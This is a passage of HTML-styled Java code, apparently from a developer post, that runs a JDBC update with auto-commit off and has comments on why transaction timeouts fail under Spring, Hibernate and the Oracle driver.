padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
conn</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setAutoCommit</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">false</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Statement</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> stat </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> conn</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">createStatement</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// setQueryTimeout can define the timeout for per statements, it is</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// more fine-grained then the gloabl connection</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// setting(oracle.jdbc.ReadTimeout), but below constraints deny this</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// solution:</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// 1. When adopt spring(2.5.6)+hibernate(3.1.3), the transaction</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// timeout defintion will be propagated to underlying hibernate</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// runtime, which will finally use setQueryTimeout to implement it,</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// but by testing this solution multiple times, it demonstrate that</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// it doesn't work, and the test result is really strange, the</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// transaction won't rollback when past the set number of timeout</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// seconds, and a SQLException(transaction has expired) will be</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// thrown out if finnaly the long transaction got to commit.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// 2. We can't cal setQueryTimeout in program, as the transaction</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// mechanism has been wrapped by hibernate/spring, you can't see the</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// API from code.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// stat.setQueryTimeout(timeout);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">debug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"start to execute statement!"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
stat</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">execute</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"update merchant set status=2 where merchant_id=111"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">debug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"get ready to commit!"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
conn</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">commit</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
